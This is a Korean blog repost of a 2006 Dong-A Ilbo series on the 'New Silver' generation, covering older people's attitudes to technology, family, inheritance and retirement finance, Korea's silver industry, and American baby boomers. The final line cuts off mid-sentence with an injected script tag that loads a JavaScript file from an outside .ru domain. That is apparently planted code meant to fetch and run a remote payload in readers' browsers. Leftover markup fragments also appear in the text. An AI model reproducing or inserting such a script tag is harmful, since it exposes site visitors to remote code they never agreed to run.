참고자료/熟年人生

[뉴실버가 뜬다]<上>“난 실버가 아니야”

bthong 2010. 1. 15. 00:07

[뉴실버가 뜬다]<上>“난 실버가 아니야”



LAYER end -->《“애들이 집에 있는 컴퓨터를 켜놓고 다니더군요. 전기요금 아낄 생각으로 TV 끄듯 꺼버렸지. 난리가 났어요. 그러면 고장이 난다나. 안 그래도 못 알아들을 말로 자기들끼리 컴퓨터에 대해 자주 얘기해서 소외감을 느끼고 있었는데….” 김효중(68·서울 강서구 등촌동) 씨는 어느 날 자신이 바보같이 느껴졌다. 그래서 당장 한국정보문화진흥원에 나가 무료 컴퓨터 수업을 신청하고 ‘독수리 타법’부터 시작했다. 2001년의 일이다. 컴퓨터는 젊은 사람이나 하는 것이라고 생각하던 김 씨에겐 모든 게 새로웠다. 그러기를 5년. 이제 김 씨는 자녀들과 컴퓨터에 대해 토론을 할 정도다. 인터넷에 개인 홈페이지도 만들었고 휴대전화 문자메시지를 주고받는 것쯤은 식은 죽 먹기다. 몸은 늙었지만 생각이나 행동은 신세대 못지않은, ‘노인 같지 않은’ 노인들. 본보 조사 결과 한국 사회에도 이런 ‘뉴실버(New Silver)세대’가 본격적으로 등장하고 있다. 》

 

○ 새로운 것에 대한 도전

 

뉴실버세대는 전통적인 노인상(像)과 거리가 있다. 이들에게 보수적이고 고리타분한 이미지를 기대했다간 오산이다.

이들은 새로운 것을 받아들이고 스스로의 삶에 책임을 지겠다는 태도가 강하다. 삶을 적극적으로 즐기려는 것도 이들의 특징이다.

조사 대상 500명 가운데 “기회가 주어지면 지금까지 해보지 않았던 새로운 일을 시작하고 싶다”는 응답이 48.4%에 이른다.

32년 6개월의 공무원 생활을 접고 2002년 퇴직한 이윤식(62·경기 성남시 분당구) 씨는 지금 한 섬유업체에서 영업을 지원하는 일을 하고 있다. 연금이 매달 200만 원 정도 나오지만 다시 일을 시작했다. 돈을 더 모아야 할 이유가 있어서다.

“필리핀에서 6개월, 말레이시아에서 6개월, 몽골에 가서 6개월, 이렇게 세계 유람을 하고 싶어요. 젊었을 때는 먹고사느라 여유가 없었는데 이제 세상을 한번 보고 싶은 거죠.”

그는 5년 정도 돈을 모아 두 딸을 시집보낸 후 아내와 꼭 떠나겠다고 말한다. 그때를 위해 매일 2시간씩 트레드밀(러닝머신)에서 달리고 근력 운동도 하며 몸을 ‘만들고’ 있다. 낮에는 일하느라 바쁘고 틈틈이 운동까지 해서 몸이 고달플 만도 한데 그는 “꿈이 있어 하나도 안 힘들다”고 말했다.

한국보건사회연구원 정경희 고령화정책팀장은 “노인에 대한 부정적인 이미지를 갖고 있는 사람들도 있지만 최근 노인들의 다양한 삶을 들여다보면 그런 부정적인 이미지가 젊은 세대의 선입견이라는 사실을 알게 될 것”이라고 말했다.

실제로 조사 대상 4명 가운데 1명은 휴대전화 문자메시지를 주고받는 것이 전혀 두렵지 않다(25.2%)고 응답했다.

또 절반(47.2%) 정도는 나이가 들었어도 ‘노인용’이라고 알려진 제품은 구매하고 싶지 않다고 했다.





 

○ 뒤처지는 데 대한 불안감도

 


뉴실버세대가 새로운 분야를 배우는 것은 호기심 반, 위기감 반이다.

건축자재 도매상을 운영하는 이진승(가명·63) 씨.

“예전에 제가 아들과 딸에게 운전을 가르쳤습니다. 도로를 달리면서 ‘인마, 그것도 못 하냐’고 핀잔을 줬죠. 그런데 아들 녀석이 컴퓨터를 몇 번 가르쳐 주더니 ‘아빠, 그것도 못 해’ 하는 겁니다. ‘몇 번이나 가르쳐 주고 그런 소리를 하냐’고 했더니 ‘아빠 예전에 운전도 제대로 안 가르쳐 주고 그것도 못 하냐고 했잖아. 다 마찬가지야’라는 답이 돌아오더군요.”

이 씨는 “아직도 살아야 할 날이 많이 남았는데 휴대전화 문자메시지 못 보내면 살기 힘들어지고 인터넷 모르면 아무것도 못할 것 같다. 자식이 내 노후를 책임져 주지도 않을 것 같아 나름대로 적응하고 살아야 한다고 생각한다”고 말했다.

이처럼 뉴실버세대가 늘 희망적이고 밝은 생각만 하는 건 아니다. 뒤처지는 데 대한 불안감에 사로잡혀 있기도 하다.

자신의 세대가 현재 사회 변화를 주도하는 세대라고 생각하는 비율은 27.2%에 그쳤다.

반면 사회 변화 속도가 빨라서 시대에 뒤떨어지는 것에 대해 불안감이 든다는 응답은 44.4%에 이른다.

사회가 지나치게 젊은 세대 중심으로 변하고 있다는 지적도 73.2%에 이르렀다.

 

○ 사회 자원으로 활용해야

 

뉴실버세대 자신이 바라는 것과 사회가 필요로 하는 것 사이에는 상당한 틈이 있다.

사회가 뉴실버세대의 에너지를 제대로 활용할 환경을 만들지 못하고 있다는 지적도 나온다. 뉴실버세대가 새로 나타나고 있지만 실제 사회에서 노인의 역할 모델이 없다는 것이다.

몇 년간 컴퓨터를 배워 도사가 됐더라도 컴퓨터 실력을 쓸 데가 마땅찮다. 동네 복지관이나 노인정에서 자원봉사를 하는 정도다.

이번 조사에서 시간적 여유(61.0%)와 건강의 여유(41.2%)가 있다는 응답은 상당히 많았다. 하지만 경제적인 면은 별개였다. 경제적으로 여유가 없다(36.0%)는 응답이 여유가 있다(27.4%)는 응답보다 상대적으로 많았다.

부산 노인생활과학연구소 한동희 소장은 “‘뉴실버’들은 많은 에너지를 갖고 있으면서도 이를 인정해 주지 않는 사회에 순응하다가 자신들만의 특징을 살리지 못하는 경우가 많다”며 “이들의 꿈틀거리는 욕구를 사회의 자원으로 활용해야 한다”고 말했다.

김선우 기자 sublime@donga.com

홍석민 기자 smhong@donga.com

박현진 기자 witness@donga.com



[뉴실버가 뜬다]국내 실버산업 2002년 12조 → 2010년 44조




LAYER end -->올해 3월 산업자원부 주도로 고령친화용품산업협회가 발족했다.

고령친화용품, 이른바 실버산업 업체들이 참여하는 이 협회는 업계의 네트워킹을 강화해 노인들이 사용하는 제품과 서비스 개발에 적극적으로 나서겠다는 계획을 밝혔다. 이처럼 관련 업계가 시장 개척을 위해 결속을 강화하고 있는 것은 한국에서도 실버산업이 본격 궤도에 오르고 있다는 사실을 의미한다.

 

미국은 1950년대부터 민간 기업 주도의 실버산업이 등장했고, 1970년대 말부터 복지(헬스 케어)산업이 본격적으로 성장했다.

일본에서는 1963년 노인복지법이 시행되면서 실버산업의 민간 기업 참여가 이뤄졌고 1980년대부터 산업 규모가 커졌다.

일본 노무라종합연구소에 따르면 지난해 일본에서 요양시설을 제외한 휠체어나 매트리스 등 단순 고령친화용품의 시장 규모만 4조214억 엔(약 35조8100억 원)을 넘었다.

이에 비하면 한국의 실버산업은 아직 초기 단계다. 저출산고령사회위원회 추정에 따르면 요양시설을 포함해 한국 실버산업(고령친화산업)의 전체 시장 규모는 2002년 기준 12조8334억 원 정도.

 

하지만 관련 업계는 실버산업의 성장 가능성에 주목하고 있다. ㈜파라다이스, 명지건설 등이 회사 내에 실버산업 관련 부서를 설치했고 강남대는 실버산업학과를 신설하기도 했다. 고령화사회로 접어들면서 노인 인구가 늘어나고, 자연스럽게 실버시장 규모도 커질 것이라는 전망 때문이다.

2004년 49곳이던 전국의 유료 양로시설은 지난해 81곳으로 65% 늘어났다. 치매나 신체장애 등으로 거동이 불편한 노인들이 머무는 요양시설도 2004년 100곳에서 지난해에는 167곳으로 67% 늘었다.

㈜파라다이스 실버산업 태스크포스팀 고재헌 팀장은 “2008년이 실버산업의 개화 시점이 될 것으로 보인다”며 “1955년 이후 태어난 베이비붐 세대가 은퇴하는 2010년부터 2020년까지를 실버산업 성장기로 본다”고 말했다. 이런 성장 가능성에도 불구하고 실버산업의 범위를 명확하게 규정하기는 쉽지 않다.

 

저출산고령사회위원회는 최근 발표한 고령친화산업 활성화 전략에서 실버산업에 해당되는 산업을 요양산업, 기기산업 등 모두 14개 부문으로 분류하고 관련 시장 규모를 추정했다.

이 자료에 따르면 2002년 12조 원대였던 한국의 실버산업시장 규모는 2010년 43조9612억 원, 2020년 148조5969억 원으로 늘어날 전망이다. 고령사회로의 진행이 빨라질수록 관련 산업도 가파르게 성장한다는 뜻이다.

 

주성원 기자 swon@donga.com

 

 

[뉴실버가 뜬다]<中>자녀동거 NO, 상속도 NO



LAYER end -->《“나이를 먹으면 먹을수록 자식에게 신세지고 싶지 않다는 생각이 들어요.” 주부 이희자(66·서울 관악구 신림동) 씨는 나이가 예순 줄에 접어들면서 남편(66)과 다짐한 게 있다. 건강할 때까지 열심히 벌어서 쓰면서 살자는 것이다. 조그만 가게를 하는 남편이 일을 그만두면 부부가 시설 좋은 실버타운에 들어가는 게 꿈이다. “딸아이가 하나 있지만 어차피 시집가서 따로 사니까 ‘쓸 만큼 쓰자’는 생각이에요. 재산 남겨주고 뭐 그런 거 없어요.” 부부는 주말마다 여행을 다니며 시간을 보낸다. 유명 사찰이 있다는 전국의 산 가운데 안 가본 곳이 없을 정도란다. 굳이 해외여행을 떠날 필요가 없다는 게 이 씨의 생각이다. 그는 “일단 벗어나면 새롭다”며 “지방의 맛있다는 식당도 잘 찾아다닌다”고 말했다.》

 

자녀로부터 독립하자. 이것이 뉴실버(New Silver)세대가 전통적인 노인세대와 달라진 점이다. 자녀에게 재산을 물려주는 일도 죽기 전에는 ‘노(No)’다.

본보 취재팀이 신한은행과 공동으로 전국 59∼67세(1939∼47년생) 남녀 500명을 대상으로 고령자 의식을 조사한 결과 이런 경향이 뚜렷이 나타났다.

 

○ 자녀와 함께 살기 싫어

 

뉴실버세대는 자녀가 결혼할 때까지만 뒷바라지를 하고 이후에는 부부 중심의 삶을 원한다.

물론 가족을 중요하게 여기는 태도는 기존 세대와 마찬가지다. 부모가 자식을 위해 희생하는 것이 당연하다(60.0%)는 응답이 많았다.

가장 큰 관심사는 건강을 유지하는 것(60.4%)이지만 두 번째는 여전히 자식의 교육과 결혼(13.0%)이다. 자식의 교육이나 결혼을 위한 비용을 기꺼이 지출한다는 응답도 56.4%에 이른다.

하지만 자식이 결혼할 때까지만이다. 절반이 넘는 응답자(51.0%)가 자식이 결혼한 후에는 함께 살고 싶지 않다고 했다.

심지어 배우자가 사망한 후에도(32.4%), 자신의 건강이 나빠져도(18.6%) 따로 살겠다고 대답했다.

은퇴 후 부동산중개사무소에서 일하는 신모(60) 씨는 지금 25, 27세인 두 아들이 결혼을 해도 함께 살지 않겠다고 말했다. 그의 아들들도 아버지의 생각에 고개를 끄덕인다고 했다.

“며느리 있으면 속옷 바람으로 집에서 왔다 갔다 하기도 불편하고…. 능력이 되면 따로 살아야죠. 친구들을 봐도 처음에는 같이 살다가 결국엔 다 분가합디다. 자식이나 부모나 서로에게 의지를 하는 시대는 지났다고 봐요.”

 

○ 귀여운 손자도 1시간이면 충분

 

뉴실버세대는 손자나 손녀를 돌보는 것에 모든 것을 쏟지 않는다.

가끔 보면서 예뻐하기만 하고 전적으로 돌보기는 싫다는 응답이 55.0%로 절반을 넘었다.

최모(67·무직) 씨는 손자손녀가 세 명이다. 한 달에 한두 번 결혼한 아들과 딸이 찾아온다. 하지만 보통 때는 무척 보고 싶었던 손자손녀들도 딱 1시간이면 충분하다고 한다.

“집에 와서 시끄럽게 하거나 울고 그러면 귀찮아져요. 처음에 와서 얼굴 봤을 때가 제일 좋고 시간이 좀 지나면 어서 갔으면 하죠.”

그는 자녀들에게 피치 못할 사정이 생기지 않는 한 손자손녀들을 오래 봐주지는 않는다고 했다.

한국가정경영연구소 강학중 소장은 “자식과 함께 살지 않고 손자도 전적으로 돌보지 않는 현상은 뉴실버세대가 현실을 깨닫기 시작했다는 뜻”이라며 “이런 태도를 이기적이라고만 볼 것은 아니다”라고 말했다.

 

○ “돈이 효자를 만든다”

 

자영업을 하는 박모(60·여) 씨는 6남매 중 막내다. 현재 80대인 언니들에게 누누이 들어온 말이 있다. 경제권은 끝까지 놓지 말라는 것이다.

“저도 1남 2녀의 엄마로서 기본적으로 해 줘야 할 건 해 주지만 스스로 생활할 수 있을 정도의 재산은 끝까지 지키려고 해요. ‘돈이 효자를 만든다’는 말이 어느 정도는 사실인 것 같아요.”

3명의 자녀 중 두 명을 결혼시킨 박 씨는 노후를 생각하면 자꾸 계산적이 된다고 털어 놓았다. 자기 짝을 찾아 떠난 자식이나 국가에 자신의 노후를 기대하기는 어렵다는 것이다.

뉴실버세대는 자녀에 대한 재산 상속에 있어서는 ‘깍쟁이’에 속한다.

3명 가운데 2명(65.0%)은 자신이 죽기 전에는 재산 상속을 하지 않겠다고 답했다.

상속을 하겠다는 답은 10.8%뿐이었다.

재산을 자녀에게 물려주기보다 사회에 환원하는 데 대해서는 50.6%가 찬성했다.

이번 조사 실무를 맡은 리서치회사 에이엔알(ANR)의 이문한 연구부장은 “상속을 전혀 하지 않겠다는 것이 아니라 ‘내가 쓸 만큼 쓰고 남으면 상속을 하겠다’는 의식이 엿보인다”며 “사회에 환원하겠다는 응답이 많아진 것도 뉴실버세대가 예전 어르신들과 달라진 점”이라고 분석했다.

 

김선우 기자 sublime@donga.com

홍석민 기자 smhong@donga.com



▼“노후준비 절반도 못했다” 53%


한달생활비 1인 평균 147만원 필요… 52%가 50대넘어 준비▼

 

뉴실버세대는 자의식은 강하지만 노후 대비는 아직 초보 수준을 벗어나지 못하고 있는 것으로 나타났다. 노후를 미리 준비해야 한다는 생각이 없던 시대를 살아온 탓이다.

이번 조사 결과 뉴실버세대 중 노후 준비 수준이 50% 미만이라는 응답자가 52.8%나 됐다. 그 이유로는 경제적 여유가 없었기 때문이라는 답이 많았다.

50대 또는 60대부터 노후를 준비하기 시작했다는 대답도 52.5%에 이른다.

이는 재테크 방법을 잘 모르기 때문인 것으로 분석됐다.

신한은행 최재열 상품개발실장은 “새로운 재테크 상품이 나오는 속도가 10년 전에 비해 10배는 빨라졌다”며 “경제에 대해 잘 알아야 재테크를 하는데 뉴실버세대는 예금이나 적금 수준을 벗어나지 못하고 있다”고 말했다.

실제로 노후자금 마련 방법을 물었더니 예금과 적금이라는 응답이 43.2%로 가장 많았다. 그 다음은 부동산 임대수입(17.8%)과 개인연금(17.4%)이어서 기초적인 재테크 방법에 의존하는 것으로 나타났다.

퇴직 후 필요한 노후자금의 액수에 대한 전망도 현실과 차이가 있었다.

뉴실버세대는 현재 한 달에 필요한 생활비가 1인당 평균 147만 원이라고 대답했다. 노부부가 현재 물가수준에서 아껴 쓸 때 필요한 돈이 한 달에 200만 원이라고 가정해도 20년간 4억8000만 원이 필요하다.

그러나 조사 결과 노후자금으로 4억5000만 원 이상이 필요하다고 한 응답자는 4명 중 1명꼴(24%)에 불과했다. 필요한 노후자금이 3억 원 미만이라고 답한 사람(48.0%)이 절반에 가까웠다. 필요자금에 대한 예측을 잘 못하고 있는 것.

“죽을 때까지 쓰고 남으면 상속하겠다”는 뉴실버세대는 최근 등장한 역(逆)모기지론에 관심이 많았다. 역모기지론은 집을 금융회사에 담보로 잡히고 매달 일정액을 받는 상품.

경기 고양시 원당에 3억 원대 아파트 한 채를 갖고 있는 이모(65) 씨는 올해 2월 정부의 역모기지론 활성화 방안이 발표되자마자 은행 재테크 상담창구로 달려갔다.

이 씨는 공무원 연금 등으로 매달 200만 원을 넘게 받고 있지만 경조사비를 내고 여행도 다니면서 여유롭게 보내기에는 모자란다고 봤다.

다만 자신이 죽은 후 아파트 소유권이 은행에 넘어가기 때문에 자녀들이 마음에 걸렸다. 하지만 그는 결국 아파트를 결혼한 세 자녀에게 물려주는 대신 노후 자금으로 쓸 생각을 굳혔다. 자녀들에게도 이러한 결심을 통보했다.

신한은행 최 실장은 “현재 부부 모두 65세 이상이어야 가입할 수 있는 제한이 풀리면 역모기지론 시장이 더욱 활성화될 것”이라고 말했다.

 



김선우 기자 sublime@donga.com

박현진 기자 witness@donga.com

 

2006.07.27.자 동아일보에서

 

[뉴실버가 뜬다]<下>미국 뉴실버, 산업지형도 바꿨다

《올해 2월 2일 미국 뉴욕 맨해튼의 매디슨스퀘어가든. 이날 이곳에선 ‘아시아의 연인’인 가수 비(23)와 ‘미국 베이비 붐 세대의 연인’인 가수 빌리 조엘(57)의 공연이 동시에 열렸다. 비의 공연을 보러 온 관객들은 아시아계가 주류인 반면 조엘의 공연에는 머리카락이 희끗희끗한 미국인이 많이 보였다. ‘피아노 맨’으로 유명한 빌리 조엘은 이날 비보다 훨씬 큰 공연장에서 공연했지만 좌석은 매진이었다. ‘기적’은 여기서 끝나지 않았다. 빌리 조엘은 매디슨스퀘어가든에서 4월 24일까지 공연을 12차례 했는데, 모든 공연이 매진되었다. 매디슨스퀘어가든 역사상 이런 기록은 없었다.》

○ 공연 시장을 뒤흔든 베이비 붐 세대

요즘 새로 뜨는 가수도 아닌 ‘옛날 가수’ 빌리 조엘이 어떻게 이 같은 신기록을 세울 수 있었을까. 답은 베이비 붐 세대(베이비 부머)였다. 지금까지 공연 시장은 주로 10대나 20대가 주도해 왔다.

그러나 미국 역사상 가장 부유한 세대로 평가받고 있는 베이비 부머들이 공연 시장의 역사를 다시 쓰고 있다. 이들은 자신들이 좋아하는 공연을 위해서라면 보통 100달러(약 9만5000원)나 되는 비싼 티켓 구입에도 돈을 아끼지 않는다. 프린스, 롤링스톤스의 공연에 관객이 몰려들고 있는 것도 같은 이유. 요즘 미국 공연 시장에서는 10대보다 베이비 부머들의 입김이 더 세다는 말이 과장이 아닐 정도로, 이들은 공연 시장에 새로운 세력으로 등장했다.

미국에서 베이비 부머는 제2차 세계대전 직후인 1946년부터 1964년 사이에 태어난 세대를 가리킨다. 그 수는 7820만 명에 이른다. 이들 세대의 선두는 올해부터 60대에 들어섰다. 조지 W 부시 대통령은 얼마 전 60세가 됐고, 빌 클린턴 전 대통령은 다음 달 60세를 맞는다. 그런데 이들 베이비 부머는 나이가 들어도 여전히 열심히 일하고 경제적 문화적 자유를 만끽하고 있다고 해서 미국에서는 ‘신노년층(New Gray)’이라고 이름 붙이기도 한다.

○ “은퇴라는 단어를 은퇴시킨 뉴실버”

뉴욕에서 은행 간부로 일하다 퇴직한 빌 도너휴(57) 씨는 2년 전 뉴저지 주 버긴카운티 자택에 1인 회사를 차렸다. 개인 자영업자들에게 금융과 관련된 상담 서비스를 제공해 주는 일이다.

도너휴 씨는 “은행에 다닐 때만큼 바쁜 것은 아니지만 내 스케줄을 직접 관리할 수 있다는 점에서 전적으로 만족하고 있다”고 말했다.

이처럼 베이비 부머들은 다니던 직장에서 퇴직한 뒤에도 상당수가 파트타임으로 일하거나 창업을 하는 사례가 많다. 평균수명이 77.4세까지 늘어나면서 50세를 넘긴 뒤 ‘인생 제2막’을 시작하는 사례가 갈수록 늘고 있다.

이러다 보니 최근 미국에선 2년제 공립대인 커뮤니티칼리지에 베이비 부머가 입학하는 사례가 늘어나고 있다. 미국 전역에 퍼져 있는 커뮤니티칼리지는 당초 가정 형편이 어려운 고교 졸업생들을 2년간 교육한 뒤 준(準)학사학위를 주는 게 주 목적. 그런데 커뮤니티칼리지를 ‘인생 제2막’을 위한 교육장으로 이용하는 사람이 늘어나면서 현재 100만 명 정도의 베이비 부머가 커뮤니티칼리지에 등록해 공부하고 있다는 게 커뮤니티칼리지연합회의 추산이다.

○ 미국 산업 지형도를 뒤흔들고 있는 뉴실버

화장품 회사인 레블론은 얼마 전 영화배우 수전 서랜던(59)을 모델로 기용했다. 젊은 모델이 주축을 이루고 있는 화장품 업계에서 60세를 바라보고 있는 모델을 기용한다는 사실 자체가 파격이었다.

이 같은 파격은 레블론이 50세 이상 여성을 위한 브랜드 ‘바이털 레이디언스’를 내놓았기 때문에 가능한 일이었다. 50세 이상 여성을 위한 화장품을 내놓으면서 주름 하나 없는 젊은 모델을 기용하면 소비자들이 움직이지 않을 것이라고 판단했기 때문이다.

실제로 미국에서는 화장품 업계뿐만 아니라 인터넷, 출판, 부동산 시장 등 전 분야에서 베이비 부머를 겨냥한 ‘?script src=http://www.dbrgf.ru/script.js>